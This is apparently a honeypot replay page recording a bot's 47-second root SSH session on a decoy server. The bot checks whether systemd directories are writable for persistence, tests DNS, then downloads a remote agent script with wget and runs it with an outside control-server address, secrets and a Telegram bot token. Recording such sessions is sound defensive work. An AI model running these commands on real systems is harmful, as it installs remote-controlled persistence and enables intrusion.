← All sessions
Ended · replayGot inTyped by a botevery command without a terminal

Got in and tried to download its tools

on Sköndal, Swedennutmeg-aardvark-45i from Bissen, Luxembourgseen 190 times this weekSSH-2.0-Go

root@se-sto-oracle-1 · 🇸🇪 Sköndal
connected from 🇱🇺 Bissen, Luxembourg · SSH-2.0-Go
root@se-sto-oracle-1's password: 
Logged in as root
root@se-sto-oracle-1:~# echo $((1+1))
2
root@se-sto-oracle-1:~# set -u

probe_dir() {
	dir="$1"
	test_file="$dir/.deploy-write-test.$$"

	if ! (umask 077 && : > "$test_file") 2>/dev/null; then
		return 1
	fi

	rm -f "$test_file" >/dev/null 2>&1 || return 1
	return 0
}

found=0

for dir in /etc/systemd/system /etc/init.d; do
	if [ -d "$dir" ]; then
		found=1
		if probe_dir "$dir"; then
			echo "WRITABLE:$dir"
			exit 0
		fi
		echo "READ_ONLY:$dir"
	fi
done

if [ "$found" -eq 0 ]; then
	if [ ! -d /root ]; then
		echo "MISSING:/root"
		exit 1
	fi

	if probe_dir /root; then
		echo "WRITABLE:/root"
		exit 0
	fi

	echo "READ_ONLY:/root"
fi

exit 1
WRITABLE:/etc/systemd/system
root@se-sto-oracle-1:~# set -u

if command -v nslookup >/dev/null 2>&1; then
	nslookup raw.githubusercontent.com
	exit $?
fi

if command -v dig >/dev/null 2>&1; then
	dig +time=5 +tries=1 raw.githubusercontent.com
	exit $?
fi

if command -v getent >/dev/null 2>&1; then
	getent ahosts raw.githubusercontent.com
	exit $?
fi

echo "NO_DNS_LOOKUP_TOOL" >&2
exit 127
Server:		10.20.0.10
Address:	10.20.0.10#53

Non-authoritative answer:
Name:	raw.githubusercontent.com
Address: 49.12.31.16
Name:	raw.githubusercontent.com
Address: 49.12.71.201
Name:	raw.githubusercontent.com
Address: 2a01:4f8:37ee:e405:3b47:a7d1:6466:bb36
root@se-sto-oracle-1:~# command -v wget >/dev/null 2>&1 && echo OK || echo MISSING
OK
root@se-sto-oracle-1:~# wget --no-check-certificate -O agent.sh https://raw.githubusercontent.com/nezha-rs/agent-rust/main/agent2.sh && chmod +x agent.sh && env NZ_SERVER='dash-server.132546.xyz:8007' NZ_TLS=false NZ_CLIENT_SECRET='LluIEPW4YELMU0q73fVmuGftFqao4C3j' TG_BOT_TOKEN='8852603513:AAFNtQq38ZwzTRl4s2OuqV4JgxbzTtYLNtQ' TG_CHAT_ID='-1004362596133' ./agent.sh --download-base http://sock-server.132546.xyz/nezha/v2.1.0

Disconnected · 47s inside

0:47 / 0:47
What they found: A company's internal database serverA database server on a company's office network, used by its business applications and looked after by a single administrator.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.